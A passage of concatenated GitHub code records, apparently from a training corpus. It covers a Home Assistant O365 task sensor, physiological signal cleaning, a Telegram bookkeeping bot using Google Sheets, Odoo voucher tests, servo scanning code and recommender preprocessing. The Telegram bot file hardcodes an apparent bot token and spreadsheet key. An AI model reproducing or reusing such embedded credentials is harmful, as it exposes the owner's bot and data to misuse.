key[CONF_TASK_LIST]\n show_completed = task[CONF_SHOW_COMPLETED]\n query = todo.new_query()\n if not show_completed:\n query = query.on_attribute(\"status\").unequal(\"completed\")\n start_offset = task.get(CONF_DUE_HOURS_BACKWARD_TO_GET)\n end_offset = task.get(CONF_DUE_HOURS_FORWARD_TO_GET)\n if start_offset:\n start = dt.utcnow() + timedelta(hours=start_offset)\n query.chain(\"and\").on_attribute(\"due\").greater_equal(\n start.strftime(\"%Y-%m-%dT%H:%M:%S\")\n )\n if end_offset:\n end = dt.utcnow() + timedelta(hours=end_offset)\n query.chain(\"and\").on_attribute(\"due\").less_equal(\n end.strftime(\"%Y-%m-%dT%H:%M:%S\")\n )\n return query\n\n\nclass O365TasksSensorSensorServices:\n \"\"\"Sensor Services.\"\"\"\n\n def __init__(self, hass):\n \"\"\"Initialise the sensor services.\"\"\"\n self._hass = hass\n\n async def async_scan_for_task_lists(self, call): # pylint: disable=unused-argument\n \"\"\"Scan for new task lists.\"\"\"\n for config in self._hass.data[DOMAIN]:\n config = self._hass.data[DOMAIN][config]\n todo_sensor = config.get(CONF_TODO_SENSORS)\n if todo_sensor and CONF_ACCOUNT in config and todo_sensor.get(CONF_ENABLED):\n todos = config[CONF_ACCOUNT].tasks()\n\n todolists = await self._hass.async_add_executor_job(todos.list_folders)\n track = todo_sensor.get(CONF_TRACK_NEW)\n for todo in todolists:\n update_task_list_file(\n config,\n todo,\n self._hass,\n track,\n )\n","repo_name":"fwartner/homeassistant-config","sub_path":"custom_components/o365/classes/taskssensor.py","file_name":"taskssensor.py","file_ext":"py","file_size_in_byte":10085,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"27399279070","text":"import pandas as pd\nimport numpy as np\nimport os\nimport pickle\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport neurokit2 as nk\n\nfrom main_utils_1 import eda_cleaner, eda_decom, impute_eda, mk_dirs, impute_ecg, ecg_cleaner\n\ndef add_signal_timestamp(df, sample_rt):\n df.reset_index(drop=True, inplace=True) # resetting the index after dropping nan rows\n # converting the timestamps to float to make the data timestamps consistent\n df['Timestamp'] = df['Timestamp'].astype('float')\n\n # creating a list of all timestamps that should have been there if there was no missing datapoints.\n time_list = ([df.loc[0, 'Timestamp'] + (x * (1000/sample_rt)) for x in range(0, int((df.loc[df.index[-1], 'Timestamp'] - df.loc[0, 'Timestamp'])/(1000/sample_rt)) + 1)])\n \n # creating a dataframe from the time_list that has all the timestamps (missing + not missing)\n df_time = pd.DataFrame(time_list, columns = ['timestamp'])\n\n # rounding the timestamps to 1 place decimal as then it would be more easier to compare timestamps!\n df_time['timestamp'] = df_time['timestamp'].round(decimals = 1)\n df_time.index = df_time['timestamp'] # shifting the timestamps to index\n\n df['Timestamp'] = df['Timestamp'].round(decimals = 1)\n df.index = df['Timestamp']\n\n df_new = pd.concat([df_time, df], axis = 1)\n df_new.drop(columns = ['Timestamp'], inplace=True)\n df_new.reset_index(inplace=True, drop=True)\n\n return df_new.copy()\n\ndef process_virage(main_path, ecg_sample_rt=512, eda_sample_rt=128, savePath=None, isBaseline=False, droPcent=0.05):\n# main_path = r\"X:\\IDEaS\\Driving Simulator\\Signals_cp\"\n# ecg_sample_rt = 512\n subjects_id = os.listdir(main_path)\n dirlist = os.listdir(os.path.join(main_path, subjects_id[0]))\n if isBaseline:\n exp_id = ['baseline.csv']\n else:\n exp_id = [x for x in dirlist if 'level_' in x] # op: ['level_1.csv', 'level_2.csv', ...]\n\n ecg_rd_cols = ['Timestamp', 'ECG LL-RA CAL',\n 'ECG LA-RA CAL', 'ECG Vx-RL CAL']\n eda_rd_cols = ['Timestamp', 'GSR Conductance CAL'] \n\n for sub_id in subjects_id:\n subject_path = os.path.join(main_path, sub_id)\n print(sub_id)\n\n for xid in exp_id:\n try:\n\n csv_path = os.path.join(savePath, sub_id)\n save_df_ecg = os.path.join(csv_path, 'ecg_{}'.format(xid))\n save_df_eda = os.path.join(csv_path, 'eda_{}'.format(xid))\n\n if os.path.exists(save_df_ecg) and os.path.exists(save_df_eda):\n print(\"Data File already exists! skipping imputation!\")\n continue\n\n read_path = os.path.join(subject_path, '{}'.format(xid))\n df = pd.read_csv(read_path, dtype='object')\n if df.columns[0] == '#INFO':\n df_ecg = pd.read_csv(read_path, skiprows = 32, skipinitialspace=True, usecols=ecg_rd_cols)\n df_eda = pd.read_csv(read_path, skiprows = 32, skipinitialspace=True, usecols=eda_rd_cols)\n else: \n df_ecg = pd.read_csv(read_path, usecols=ecg_rd_cols)\n df_eda = pd.read_csv(read_path, usecols=eda_rd_cols)\n\n df_ecg.dropna(inplace=True) # removing all the nan rows\n df_eda.dropna(inplace=True) # removing all the nan rows\n\n # Putting a check if the signal data is not present in the csv then skip that subject\n if len(df_ecg) == 0:\n print('Subject {} does not have ECG signal data for session: {}'.format(sub_id, xid))\n continue\n\n # Putting a check if the signal data is not present in the csv then skip that subject\n if len(df_eda) == 0:\n print('Subject {} does not have EDA signal data for session: {}'.format(sub_id, xid))\n continue\n\n df_new_ecg = add_signal_timestamp(df_ecg, ecg_sample_rt)\n df_new_eda = add_signal_timestamp(df_eda, eda_sample_rt)\n\n num_drops_ecg = df_new_ecg['ECG LL-RA CAL'].isna().sum()\n num_drops_eda = df_new_eda['GSR Conductance CAL'].isna().sum()\n\n if num_drops_ecg > len(df_new_ecg) * droPcent:\n print(f'Missing more than 5 percent for ECG {xid}')\n continue\n\n if num_drops_eda > len(df_new_eda) * droPcent:\n print(f'Missing more than 5 percent for EDA {xid}')\n continue\n\n df_impute_ecg = impute_ecg(df_new_ecg.copy())\n \n # cleaning the ECG signals\n df_impute_clean_ecg = ecg_cleaner(df_impute_ecg.copy(), ecg_sample_rt)\n # csv_path = os.path.join(savePath, sub_id)\n\n # cleaning the EDA signals\n df_impute_eda = impute_eda(df_new_eda.copy())\n\n # cleaning the EDA signals\n df_impute_clean_eda = eda_cleaner(df_impute_eda.copy(), eda_sample_rt)\n df_impute_clean_eda = eda_decom(df_impute_clean_eda.copy(), eda_sample_rt) \n\n # creating the directory\n mk_dirs(csv_path)\n\n df_impute_clean_ecg.to_csv(os.path.join(csv_path, 'ecg_{}'.format(xid)), index=False)\n df_impute_clean_eda.to_csv(os.path.join(csv_path, 'eda_{}'.format(xid)), index=False)\n\n except FileNotFoundError:\n # exp_3 for subject 1674 was not recorded :(\n continue\n\n\n# if __name__ == '__main__':\n# main_path = r\"X:\\IDEaS\\Driving Simulator\\Signals_cp\"\n# ecgHz = 512\n# edaHz = 128\n\n# savePath = r'X:\\Four Modes\\Virage\\Filtered\\ECG_EDA'\n# process_virage(main_path, ecg_sample_rt=ecgHz,\n# eda_sample_rt=edaHz, savePath=savePath, isBaseline=False)\n\nif __name__ == '__main__':\n main_path = r\"X:\\IDEaS\\Driving Simulator\\Signals_cp\"\n ecgHz = 512\n edaHz = 128\n\n savePath = r'X:\\Four Modes\\Virage\\Filtered\\Base3_ECG_EDA'\n process_virage(main_path, ecg_sample_rt=ecgHz,\n eda_sample_rt=edaHz, savePath=savePath, isBaseline=True, droPcent=0.5)\n\n","repo_name":"Xpiee/Ideas_four_modes","sub_path":"virage_process_1.py","file_name":"virage_process_1.py","file_ext":"py","file_size_in_byte":6192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18551858306","text":"import gspread\nimport telebot\n\n\ndef balance(x):\n return x.get('B2')\n\n\ndef incomes(x):\n return x.get('B4')\n\n\ndef expenses(x):\n return x.get('B3')\n\n\ndef vvod(x, z, com):\n return x.append_row([z, com])\n\n\ndef perv(x, y):\n return x.update_cell(1, 2, y)\n\n\ndef delete(x, y):\n return x.delete_rows(y)\n\n\ngs = gspread.service_account(filename='key.json') # подключаем файл с ключами и пр.\nsh = gs.open_by_key('116aygG_nIl3wwjS4FRh3OujUQFfdAM1DsAzjtyWSaMo') # подключаем нужную нам таблицу по id\nworksheet1 = sh.worksheet(\"доходы\")\nworksheet2 = sh.worksheet(\"расходы\")\nworksheet3 = sh.worksheet(\"выписка\")\nworksheet4 = sh.worksheet(\"долги\")\nnew = 0\ncom = ' '\nclas = ' '\nrem = ' '\ni = ' '\nfir = ' '\n\nbot = telebot.TeleBot('5471937213:AAEsJtJqtafxQ-O3WUG9al5RK9JjnD83wI4') # подключаем бота\n\n\n@bot.message_handler(content_types=['text']) # метод получения сообщений\ndef get_text_messages(message):\n if message.text == \"/help\":\n bot.send_message(message.from_user.id,\n \"/table дублирует ссылку на таблицу\"\n \"\\n/balance показывает текущий баланс\"\n \"\\n/incomes показывает сколько вы в общем заработали\"\n \"\\n/expenses показывает сколько вы в общем потратили\"\n \"\\n/first позволяет заполнить первоначальный баланс\"\n \"\\n/new добавляет запись\"\n \"\\n/delete удаляет запись\"\n \"\\n/end позволяет остановить текущую операцию\")\n if message.text == \"/new\":\n bot.send_message(message.from_user.id, \"Введите значение\")\n bot.register_next_step_handler(message, get_new)\n if message.text == \"/first\":\n bot.send_message(message.from_user.id, \"Введите первоначальный баланс\")\n bot.register_next_step_handler(message, get_first)\n if message.text == \"/delete\":\n bot.send_message(message.from_user.id, \"Напишите id записи (номер строки), которую хотите удалить\")\n bot.register_next_step_handler(message, get_delete)\n if message.text == \"/balance\":\n bot.send_message(message.from_user.id, balance(worksheet3))\n if message.text == \"/incomes\":\n bot.send_message(message.from_user.id, incomes(worksheet3))\n if message.text == \"/expenses\":\n bot.send_message(message.from_user.id, expenses(worksheet3))\n if message.text == \"/table\":\n bot.send_message(message.from_user.id,\n \"Ссылка на таблицу https://docs.google.com/spreadsheets/d/116aygG_nIl3wwjS4FRh3OujUQFfdAM1DsAzjtyWSaMo/edit#gid=0\")\n\n\ndef get_first(message):\n global fir\n if message.text == '/end':\n bot.send_message(message.from_user.id, \"Операция остановлена\")\n else:\n fir = int(message.text)\n perv(worksheet3, fir)\n bot.send_message(message.from_user.id, \"Сделано\")\n\n\ndef get_new(message):\n global new\n if message.text == '/end':\n bot.send_message(message.from_user.id, \"Операция остановлена\")\n else:\n new = int(message.text)\n bot.send_message(message.from_user.id, \"Введите комментарий\")\n bot.register_next_step_handler(message, get_com)\n\n\ndef get_com(message):\n global com\n if message.text == '/end':\n bot.send_message(message.from_user.id, \"Операция остановлена\")\n else:\n com = message.text\n bot.send_message(message.from_user.id, \"Укажите вид записи (доход/расход/долг)\")\n bot.register_next_step_handler(message, get_clas)\n\n\ndef get_clas(message):\n global clas\n if message.text == '/end':\n bot.send_message(message.from_user.id, \"Операция остановлена\")\n else:\n clas = message.text\n if clas == 'доход':\n vvod(worksheet1, new, com)\n elif clas == 'расход':\n vvod(worksheet2, new, com)\n elif clas == 'долг':\n vvod(worksheet4, new, com)\n bot.send_message(message.from_user.id, \"Сделано\")\n\n\ndef get_delete(message):\n global i\n if message.text == '/end':\n bot.send_message(message.from_user.id, \"Операция остановлена\")\n else:\n i = int(message.text)\n bot.send_message(message.from_user.id, \"Укажите вид записи (доход/расход/долг)\")\n bot.register_next_step_handler(message, get_clas1)\n\n\ndef get_clas1(message):\n global rem\n if message.text == '/end':\n bot.send_message(message.from_user.id, \"Операция остановлена\")\n else:\n rem = message.text\n if rem == 'доход':\n delete(worksheet1, i)\n elif rem == 'расход':\n delete(worksheet2, i)\n elif rem == 'долг':\n delete(worksheet4, i)\n bot.send_message(message.from_user.id, \"Сделано\")\n\n\nbot.polling(none_stop=True, interval=0)\n","repo_name":"ermolkina77/financial-accounting-Telegram-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8509935055","text":"# -*- coding: utf-8 -*-\nfrom openerp.tests.common import TransactionCase\nfrom openerp.exceptions import except_orm, ValidationError\n\n\nclass test_voucher(TransactionCase):\n \n def test_approve(self):\n '''测试审核反审核报错'''\n voucher = self.env.ref('finance.voucher_1')\n #正常审批\n voucher.voucher_done()\n self.assertTrue(voucher.state == 'done')\n #已审批的凭证不可以删除\n with self.assertRaises(except_orm):\n voucher.unlink()\n for line in voucher.line_ids:\n with self.assertRaises(except_orm):\n line.unlink()\n #重复审批\n with self.assertRaises(except_orm):\n voucher.voucher_done()\n #正常反审批\n voucher.voucher_draft()\n self.assertTrue(voucher.state == 'draft')\n #重复反审批\n with self.assertRaises(except_orm):\n voucher.voucher_draft()\n #会计期间已关闭时的审批\n voucher.period_id.is_closed = True\n with self.assertRaises(except_orm):\n voucher.voucher_done()\n #会计期间已关闭时的反审批\n voucher.period_id.is_closed = False\n voucher.voucher_done()\n voucher.period_id.is_closed = True\n with self.assertRaises(except_orm):\n voucher.voucher_draft()\n\n def test_line_unlink(self):\n '''测试可正常删除未审核的凭证行'''\n voucher = self.env.ref('finance.voucher_1')\n for line in voucher.line_ids:\n line.unlink()\n\n def test_compute(self):\n '''新建凭证时计算字段加载'''\n voucher = self.env.ref('finance.voucher_1')\n self.assertTrue(voucher.period_id.name == u'2016年 第1期')\n self.assertTrue(voucher.amount_text == '50000.0')\n voucher.unlink()\n \n def test_check_balance(self):\n '''检查凭证借贷方合计平衡'''\n with self.assertRaises(ValidationError):\n self.env['voucher'].create({\n 'line_ids':[(0,0,{\n 'account_id':self.env.ref('finance.account_cash').id,\n 'name':u'借贷方不平',\n 'debit':100,\n })]\n })\n \n def test_check_line(self):\n '''检查凭证行'''\n # 没有凭证行\n with self.assertRaises(ValidationError):\n self.env['voucher'].create({\n 'line_ids': False\n })\n # 检查借贷方都为0\n with self.assertRaises(ValidationError):\n self.env['voucher'].create({\n 'line_ids':[(0,0,{\n 'account_id':self.env.ref('finance.account_cash').id,\n 'name':u'借贷方全为0',\n })]\n })\n with self.assertRaises(ValidationError):\n self.env['voucher'].create({\n 'line_ids':[(0,0,{\n 'account_id':self.env.ref('finance.account_cash').id,\n 'name':u'借贷方同时输入',\n 'debit': 100,\n 'credit': 100,\n })]\n })\n\nclass test_period(TransactionCase):\n\n def test_get_period(self):\n period_obj = self.env['finance.period']\n if not period_obj.search([('year','=','2100'),\n ('month','=','6')]):\n with self.assertRaises(except_orm):\n period_obj.get_period('2100-06-20')\n \n def test_onchange_account_id(self):\n '''凭证行的科目变更影响到其他字段的可选值'''\n voucher = self.env.ref('finance.voucher_1')\n for line in voucher.line_ids:\n line.account_id = self.env.ref('finance.account_cash').id\n line.onchange_account_id()\n line.account_id = self.env.ref('finance.account_goods').id\n line.onchange_account_id()\n line.account_id = self.env.ref('finance.account_ar').id\n line.onchange_account_id()\n line.account_id = self.env.ref('finance.account_ap').id\n line.onchange_account_id()\n line.account_id = self.env.ref('finance.account_wage').id\n line.onchange_account_id()\n #这么写覆盖到了,但是这什么逻辑=。=\n self.env['voucher.line'].onchange_account_id()\n \n\n ","repo_name":"haylahi/gooderp_addons","sub_path":"finance/tests/test_finance.py","file_name":"test_finance.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"25667177313","text":"from cv2 import sqrt\nimport numpy as np\nimport pigpio\nimport math\n\nimport time\nfrom threading import Lock\n\nclass ServoControl:\n epsilon = 5e-4\n\n def __init__(self):\n self.servos_lock = Lock()\n\n self.pwmFrequency = 50\n self.servoGpioPin1 = 13\n self.servoGpioPin2 = 12\n\n self.maxYawAngle = 45.0\n self.maxPitchAngle = 30.0\n\n self.scan_positions = {\n \"1\": (-self.maxYawAngle, -self.maxPitchAngle),\n \"2\": (self.maxYawAngle, -self.maxPitchAngle),\n \"3\": (self.maxYawAngle, self.maxPitchAngle),\n \"4\": (-self.maxYawAngle, self.maxPitchAngle)\n }\n\n self.scan_transitions = {\n \"1\": [\"3\"],\n \"2\": [\"1\"],\n \"3\": [\"4\"],\n \"4\": [\"2\"]\n }\n\n self.scan_position = \"1\"\n \n self.currentYawAngle: float = self.scan_positions[self.scan_position][0] \n self.currentPitchAngle: float = self.scan_positions[self.scan_position][1]\n\n global pwm\n pwm = pigpio.pi()\n pwm.set_mode(self.servoGpioPin1, pigpio.OUTPUT)\n pwm.set_PWM_frequency(self.servoGpioPin1, 330)\n\n pwm.set_mode(self.servoGpioPin2, pigpio.OUTPUT)\n pwm.set_PWM_frequency(self.servoGpioPin2, 330)\n\n def moveYawDegrees(self, degrees: float) -> bool:\n self.servos_lock.acquire()\n self.currentYawAngle += degrees\n\n lock: bool = False\n\n if (self.currentYawAngle > self.maxYawAngle):\n self.currentYawAngle = self.maxYawAngle\n lock = True\n elif (self.currentYawAngle < -self.maxYawAngle):\n self.currentYawAngle = -self.maxYawAngle\n lock = True\n \n pulseWidth = 1000 / 90 * self.currentYawAngle + 1500\n\n pwm.set_servo_pulsewidth(self.servoGpioPin1, pulseWidth)\n self.servos_lock.release()\n\n return lock\n\n def movePitchDegrees(self, degrees: float) -> bool:\n self.servos_lock.acquire()\n self.currentPitchAngle += degrees\n\n lock: bool = False\n\n if (self.currentPitchAngle > self.maxPitchAngle):\n self.currentPitchAngle = self.maxPitchAngle\n lock = True\n elif (self.currentPitchAngle < -self.maxPitchAngle):\n self.currentPitchAngle = -self.maxPitchAngle\n lock = True\n \n pulseWidth = 1000 / 90 * self.currentPitchAngle + 1500\n\n pwm.set_servo_pulsewidth(self.servoGpioPin2, pulseWidth)\n self.servos_lock.release()\n\n return lock\n\n def scan(self, scan_velocity, scan_started_event, scan_cancellation_event):\n scan_started_event.set()\n \n if scan_cancellation_event.is_set():\n scan_cancellation_event.clear()\n return\n\n print(\"Started\")\n\n closest_position = \"1\"\n closest_distance = 10e+8\n\n for position in self.scan_positions:\n distance = pow(self.currentYawAngle - self.scan_positions[position][0], 2) \\\n + pow(self.currentPitchAngle - self.scan_positions[position][1], 2)\n\n if distance <= closest_distance:\n closest_distance = distance\n closest_position = position\n\n self.scan_position = closest_position\n initial_d = True\n\n prev_time = time.time()\n\n while (not scan_cancellation_event.is_set()):\n if not initial_d:\n self.scan_position = self.scan_transitions[str(self.scan_position)][0]\n\n diff_vector = (self.currentYawAngle - self.scan_positions.get(str(self.scan_position))[0], \\\n self.currentPitchAngle - self.scan_positions.get(str(self.scan_position))[1])\n\n diff_vector_length: float = math.sqrt(pow(diff_vector[0], 2) + pow(diff_vector[1], 2))\n\n dir_vector = (.0, .0) if diff_vector == (.0, .0) \\\n else tuple((diff_vector[0] / diff_vector_length, diff_vector[1] / diff_vector_length))\n\n y_lockout: bool = False\n x_lockout: bool = False\n\n print(self.scan_position)\n\n while (abs(diff_vector[0]) > ServoControl.epsilon or abs(diff_vector[1]) > ServoControl.epsilon and \n (not x_lockout or not y_lockout)) and not scan_cancellation_event.is_set():\n \n current_time = time.time()\n\n y_lockout = self.moveYawDegrees(dir_vector[0] * -scan_velocity * (current_time - prev_time))\n x_lockout = self.movePitchDegrees(dir_vector[1] * -scan_velocity * (current_time - prev_time))\n\n prev_time = current_time\n\n diff_vector = (self.currentYawAngle - self.scan_positions.get(str(self.scan_position))[0], \\\n self.currentPitchAngle - self.scan_positions.get(str(self.scan_position))[1])\n\n diff_vector_length = math.sqrt(pow(diff_vector[0], 2) + pow(diff_vector[1], 2))\n\n dir_vector = (.0, .0) if diff_vector == (.0, .0) \\\n else tuple((diff_vector[0] / diff_vector_length, diff_vector[1] / diff_vector_length))\n\n initial_d = False\n\n print(\"Scan done\")\n\n scan_started_event.clear()\n\n def destroy(self):\n pwm.set_PWM_dutycycle(self.servoGpioPin1, 0)\n pwm.set_PWM_frequency(self.servoGpioPin1, 0)\n pwm.set_PWM_dutycycle(self.servoGpioPin2, 0)\n pwm.set_PWM_frequency(self.servoGpioPin2, 0)\n","repo_name":"thewiffedshot/face_tracking_rpi_camera","sub_path":"src/face_detection/servo_controller.py","file_name":"servo_controller.py","file_ext":"py","file_size_in_byte":5390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18958096868","text":"import torch\nimport sklearn\nfrom tqdm import tqdm\nimport os\n\nfrom Utils import config\nfrom Utils.data_reader import read_source_data\nfrom Utils.print_info import print_data_pair, print_data_ratio\nimport numpy as np\nimport random\nimport scipy.sparse as sp\n\n\ndef pad(ori_arr, pad_value, desired_num, padding_mode='r'):\n\n assert desired_num > 0\n if padding_mode == 'r':\n result = ori_arr[:desired_num] + [pad_value] * (desired_num - len(ori_arr))\n elif padding_mode == 'l':\n result = [pad_value] * (desired_num - len(ori_arr)) + ori_arr[-desired_num:]\n else:\n result = ori_arr[:desired_num]\n assert len(result) == desired_num\n return result\n\n\ndef get_aspect_word_matrix(vocab, history, max_a, max_aw):\n\n naw = [] # max_pa_length * max_paw_length\n for aspect in history: # {a1:[w1,w2,w3], a2:[w1,w2,w3]}\n aw = []\n for word in history[aspect]:\n aw.append(vocab.word2index[word] if word in vocab.word2index else config.UNK_idx)\n padded_aw = pad(aw, config.PAD_idx, max_aw)\n naw.append(padded_aw)\n if len(naw) == max_a:\n break\n\n while len(naw) < max_a: # pad 0\n naw.append([0] * max_aw)\n\n return naw\n\n\ndef get_sparse_indices_value(behavior_up, sparse_lists, uindex, poi_id2index, upper_limit):\n indices_row, indices_col, values = sparse_lists\n behavior_pois = []\n for tup in behavior_up:\n pindex = poi_id2index[tup[0]]-1\n number = tup[1] if tup[1] < upper_limit else upper_limit # [0,1,0,14,0,…]\n\n if number > 0:\n indices_row.append(uindex)\n indices_col.append(pindex)\n values.append(number)\n\n behavior_pois.append(pindex)\n\n sparse_lists = (indices_row, indices_col, values)\n\n return sparse_lists, behavior_pois\n\n\ndef get_sparse_tensor(sparse_lists, user_number, poi_number):\n indices_row, indices_col, values = sparse_lists\n\n indices = []\n indices.append(indices_row)\n indices.append(indices_col)\n indices = torch.tensor(indices, dtype=torch.long)\n values = torch.tensor(values, dtype=torch.float)\n \n # adjacency matrix normalization\n sparse_tensor = torch.sparse.FloatTensor(indices, values, torch.Size([user_number, poi_number]))\n A = sparse_tensor # user_number * poi_number\n D = torch.sparse.sum(A, dim=1) ** (-0.5) # user_number * 1\n # diagonal matrix,=> user_number * user_number\n dig_D = torch.tensor(sp.diags(diagonals=D.to_dense().unsqueeze(0), offsets=[0]).todense(), dtype=torch.float)\n D_A = torch.sparse.mm(A.t(), dig_D).t() # user_number * poi_number\n\n adj = D_A.numpy()\n new_indices = torch.Tensor(adj.nonzero()).long()\n new_values = torch.Tensor(adj[adj.nonzero()]).squeeze(0)\n\n sparse_adj = torch.sparse.FloatTensor(new_indices, new_values, torch.Size([user_number, poi_number]))\n\n return sparse_adj # user_number * poi_number\n\n\ndef get_behavior_matrix(behavior_graph, user_id2index, poi_id2index, behavior_range, max_up_length):\n\n upper_limit, id_embed_size = behavior_range\n click_limit, favor_limit, consume_limit = upper_limit\n\n click_indices_row, click_indices_col, click_values = [], [], []\n click_sparse_lists = (click_indices_row, click_indices_col, click_values)\n favor_indices_row, favor_indices_col, favor_values = [], [], []\n favor_sparse_lists = (favor_indices_row, favor_indices_col, favor_values)\n consume_indices_row, consume_indices_col, consume_values = [], [], []\n consume_sparse_lists = (consume_indices_row, consume_indices_col, consume_values)\n\n behavior_samples_matrix = [[0] * (max_up_length * 2)] * len(user_id2index) # user_number * 24\n behavior_labels_matrix = [[0] * (max_up_length * 2)] * len(user_id2index)\n for uid in behavior_graph:\n uindex = user_id2index[uid] - 1\n\n behavior_pois = []\n click_up = behavior_graph[uid]['click'] # [(pid,number),(),()]\n click_sparse_lists, click_behavior_pois = get_sparse_indices_value(click_up, click_sparse_lists,\n uindex, poi_id2index, click_limit)\n favor_up = behavior_graph[uid]['favor']\n if len(favor_up) > 0:\n favor_sparse_lists, favor_behavior_pois = get_sparse_indices_value(favor_up, favor_sparse_lists,\n uindex, poi_id2index, favor_limit)\n else:\n favor_behavior_pois = []\n\n consume_up = behavior_graph[uid]['consume']\n if len(consume_up) > 0:\n consume_sparse_lists, consume_behavior_pois = get_sparse_indices_value(consume_up, consume_sparse_lists,\n uindex, poi_id2index, consume_limit)\n else:\n consume_behavior_pois = []\n\n # behavior sample\n behavior_sample_number = max_up_length * 2 + max_up_length // 3 # positive:12, negative:12, hard negative:4\n behavior_pois.extend(click_behavior_pois)\n behavior_pois.extend(favor_behavior_pois)\n behavior_pois.extend(consume_behavior_pois)\n input_behavior_pois = behavior_pois.copy()\n\n review_pois = [poi_id2index[pid] - 1 for pid in behavior_graph[uid]['review']]\n behavior_pois.extend(review_pois)\n negative_list = list(set(range(len(poi_id2index))) - set(behavior_pois)) # behavior: none, label: 0\n hard_negative_list = list(set(input_behavior_pois) - set(review_pois)) # behavior: yes, label: 0\n\n behavior_up_index = review_pois[:max_up_length]\n if len(behavior_up_index) <= 6: # Restricted minimum positive examples\n positive_samples = np.random.choice(behavior_up_index, 6, replace=True).tolist()\n else:\n positive_samples = behavior_up_index.copy()\n\n positive_number = len(positive_samples)\n\n hard_negative_number = positive_number // 3\n hard_negative_samples = np.random.choice(hard_negative_list, hard_negative_number, replace=False).tolist()\n\n negative_number = behavior_sample_number - positive_number - hard_negative_number\n negative_samples = np.random.choice(negative_list, negative_number, replace=False).tolist()\n\n behavior_samples = [] # positive + negative (poi index)\n behavior_samples.extend(positive_samples)\n behavior_samples.extend(hard_negative_samples)\n behavior_samples.extend(negative_samples)\n\n # labels\n behavior_labels = [1] * positive_number\n behavior_labels.extend([0] * (behavior_sample_number - positive_number))\n\n # shuffle\n samples = list(zip(behavior_samples, behavior_labels))\n random.shuffle(samples)\n behavior_samples[:], behavior_labels[:] = zip(*samples)\n\n behavior_samples_matrix[uindex] = behavior_samples\n behavior_labels_matrix[uindex] = behavior_labels\n\n del behavior_graph\n behavior_samples_matrix = torch.tensor(behavior_samples_matrix, dtype=torch.long)\n behavior_labels_matrix = torch.tensor(behavior_labels_matrix, dtype=torch.long)\n behavior_data_matrix = (behavior_samples_matrix, behavior_labels_matrix)\n\n click_sparse_graph = get_sparse_tensor(click_sparse_lists, len(user_id2index), len(poi_id2index))\n del click_indices_row, click_indices_col, click_values, click_sparse_lists\n favor_sparse_graph = get_sparse_tensor(favor_sparse_lists, len(user_id2index), len(poi_id2index))\n del favor_indices_row, favor_indices_col, favor_values, favor_sparse_lists\n consume_sparse_graph = get_sparse_tensor(consume_sparse_lists, len(user_id2index), len(poi_id2index))\n del consume_indices_row, consume_indices_col, consume_values, consume_sparse_lists\n\n sparse_graphs = (click_sparse_graph, favor_sparse_graph, consume_sparse_graph)\n\n # Initialize id matrix\n uid_embed = torch.normal(mean=0, std=torch.zeros(len(user_id2index), id_embed_size).fill_(0.05)) # 0.005\n pid_embed = torch.normal(mean=0, std=torch.zeros(len(poi_id2index), id_embed_size).fill_(0.05))\n\n behavior_matrix = (sparse_graphs, uid_embed, pid_embed)\n\n return behavior_matrix, behavior_data_matrix\n\n\ndef pre_process(data_pair, vocab, src_dict, mini_range, behavior_range):\n\n user_history_aw_dict, poi_history_aw_dict, positive_pu_dict, negative_pu_dict, behavior_graph = src_dict\n\n max_up_length, max_ua_length, max_uaw_length, max_pa_length, max_paw_length, \\\n max_pw_length, max_label_length, pos_neg_sample, top_number = mini_range\n\n # Construct aspect-word matrix\n uaw_matrix, paw_matrix = [], [] # user/poi_number * aspect_number * uaw/paw\n pu_matrix = [] # poi_number * pos_neg_sample*2\n user_id2index, poi_id2index = {}, {}\n user_index, poi_index = 1, 1 # poi/user index from 1, 0 is used to pad\n\n # Construct user-aspect-word matrix and mask matrix, user id2index, word padding\n uaw_matrix.append([[0]*max_uaw_length]*max_ua_length) # 1 * max_ua_length * max_uaw_length\n\n for uid in user_history_aw_dict:\n user_id2index[uid] = user_index\n user_index += 1\n uaw = get_aspect_word_matrix(vocab, user_history_aw_dict[uid], max_ua_length, max_uaw_length)\n uaw_matrix.append(uaw)\n del user_history_aw_dict\n\n # Construct poi-aspect-word matrix and mask matrix, poi id2index, word padding, construct poi-user matrix (for CL)\n paw_matrix.append([[0]*max_paw_length]*max_pa_length) # 1 * max_pa_length * max_paw_length\n pu_matrix.append([0] * (pos_neg_sample * 2)) # 1 * pos_neg_sample+pos_neg_sample\n\n for pid in poi_history_aw_dict:\n poi_id2index[pid] = poi_index\n poi_index += 1\n paw = get_aspect_word_matrix(vocab, poi_history_aw_dict[pid], max_pa_length, max_paw_length)\n paw_matrix.append(paw)\n\n pu = []\n positive_user = [user_id2index[uid] for uid in positive_pu_dict[pid]]\n padded_positive_user = pad(positive_user, config.PAD_idx, pos_neg_sample)\n negative_user = [user_id2index[uid] for uid in negative_pu_dict[pid]]\n padded_negative_user = pad(negative_user, config.PAD_idx, pos_neg_sample)\n pu.extend(padded_positive_user)\n pu.extend(padded_negative_user)\n pu_matrix.append(pu)\n\n del poi_history_aw_dict\n del positive_pu_dict\n del negative_pu_dict\n\n uaw_matrix = torch.tensor(uaw_matrix, dtype=torch.long)\n paw_matrix = torch.tensor(paw_matrix, dtype=torch.long)\n pu_matrix = torch.tensor(pu_matrix, dtype=torch.long)\n\n Matrixes = (uaw_matrix, paw_matrix, pu_matrix)\n\n behavior_matrix, behavior_data_matrix = get_behavior_matrix(behavior_graph, user_id2index, poi_id2index,\n behavior_range, max_up_length)\n behavior_samples_matrix, behavior_labels_matrix = behavior_data_matrix\n\n # Solve data_pair, up pid2pindex, pw word2wid, ugc word2wid, padding\n count = 0 # for behavior\n for single_data in tqdm(data_pair):\n input_user_uid = single_data['src_Uid']\n input_poi_pid = single_data['src_Pid']\n single_data['user_index'] = [user_id2index[input_user_uid]] # index from 1\n del single_data['src_Uid']\n del single_data['src_Pid']\n\n input_user_up = single_data['src_Up'] # [pid1, pid2, pid3]\n input_user_up_index = [poi_id2index[pid] for pid in input_user_up]\n padded_input_pois = 